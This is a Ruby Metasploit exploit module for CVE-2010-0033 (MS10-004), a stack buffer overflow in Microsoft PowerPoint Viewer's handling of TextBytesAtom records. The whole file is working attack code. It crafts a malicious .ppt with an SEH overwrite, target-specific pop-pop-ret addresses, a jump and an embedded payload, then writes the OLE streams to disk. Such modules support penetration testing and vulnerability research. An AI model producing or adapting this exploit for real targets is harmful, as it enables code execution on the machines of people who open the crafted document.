require 'msf/core'
require 'rex/ole'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow vulnerability in the handling of
the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as
Office 2004 for Mac, are vulnerable.
NOTE: The vulnerable code path is not reachable on versions of Windows prior to
Windows Vista.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'SkD',
'Snake',
'jduck'
],
'Version'=> '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2010-0033' ],
[ 'OSVDB', '62241' ],
[ 'MSB', 'MS10-004' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-017/' ],
[ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space' => 1024,
'BadChars'=> "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Microsoft PowerPoint Viewer 2003',
{
'SEHOffset' => 132,
'PopPopRet' => 0x30056471
}
],
[ 'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3',
{
'SEHOffset' => 132,
'PopPopRet' => 0x3003c767
}
],
=begin
[ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)',
{
'SEHOffset' => 132,
'PopPopRet' => 0x69647475
}
],
=end
[ 'Microsoft PowerPoint Viewer 2003 (kb969615)',
{
'SEHOffset' => 132,
'PopPopRet' => 0x300566d1
}
],
[ 'Crash Target for Debugging',
{
'SEHOffset' => 132,
'PopPopRet' => 0xdac0ffee
}
]
],
'DisclosureDate' => 'Feb 09 2010'))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.ppt']),
], self.class)
end
def ppt_record(tag, data=nil, ver=0, inst=0)
data ||= ''
ret = ''
verinst = (ver & 0xf) | (inst << 4)
ret << [verinst, tag, data.length].pack('vvV')
ret << data
ret
end
def exploit
print_status("Creating PowerPoint Document ...")
username = Rex::Text.rand_text_alphanumeric(8+rand(8))
sploit = rand_text(target['SEHOffset'])
sploit << generate_seh_record(target['PopPopRet'])
distance = 10
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string
text_bytes_atom = ppt_record(0xfa8, sploit)
text_bytes_atom[4,4] = [0xffffffff].pack('V')
text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded)
spa1_data = [2,0,0,0x80000000,0].pack('VVVVV')
spa1 = ppt_record(0x3f3, spa1_data)
slwt1 = ppt_record(0xff0, spa1, 15, 1)
spa2_data = ''
spa2_data << [3,0,2,0x100,0].pack('VVVVV')
slwt2_data = ''
slwt2_data << ppt_record(0x3f3, spa2_data)
txt_hdr_data = [6].pack('V')
slwt2_data << ppt_record(0xf9f, txt_hdr_data)
slwt2_data << text_bytes_atom
slwt2 = ppt_record(0xff0, slwt2_data, 15)
doc_data = ''
doc_data << slwt1
doc_data << slwt2
doc = ppt_record(0x3e8, doc_data, 15)
mdc_data = ppt_record(0xf003, '', 15)
ppd_data = ppt_record(0xf002, mdc_data, 15)
tmsa_data = [0].pack('v')
mm_data = ''
mm_data << ppt_record(0xfa3, tmsa_data)
mm_data << ppt_record(0x40c, ppd_data, 15)
mm = ppt_record(0x3f8, mm_data, 15)
content = ''
document_offset = content.length
content << doc
main_master_offset = content.length
content << mm
start_num = 1
count = 2
ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V')
ppib_data << [document_offset].pack('V')
ppib_data << [main_master_offset].pack('V')
ppib = ppt_record(0x1772, ppib_data)
persist_ptr_incremental_block_offset = content.length
content << ppib
uea_data = ''
uea_data << [0x100].pack('V')
uea_data << [0x1599,0,3].pack('vCC')
uea_data << [0].pack('V')
uea_data << [persist_ptr_incremental_block_offset].pack('V')
uea_data << [1].pack('V')
uea_data << [3].pack('V')
uea_data << [1].pack('v')
uea_data << [0x31c5].pack('v')
uea = ppt_record(0xff5, uea_data)
user_edit_atom_offset = content.length
content << uea
out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
if (not stg)
raise RuntimeError, 'Unable to create output file'
end
stm = stg.create_stream("PowerPoint Document")
if (not stm)
raise RuntimeError, 'Unable to create "PowerPoint Document" stream'
end
stm << content
stm.close
cua_data = ''
cua_data << [0x14].pack('V')
cua_data << [0xe391c05f].pack('V')
cua_data << [user_edit_atom_offset].pack('V')
cua_data << [username.length].pack('v')
cua_data << [0x3f4].pack('v')
cua_data << [3,0].pack('CC')
cua_data << [0x3b].pack('v')
cua_data << username
cua_data << [8].pack('V')
cua_data << Rex::Text.to_unicode(username)
current_user_stream = ppt_record(0xff6, cua_data)
stm = stg.create_stream("Current User")
if (not stm)
raise RuntimeError, 'Unable to create "Current User" stream'
end
stm << current_user_stream
stm.close
stg.close
print_status("Generated output file #{out}")
end
end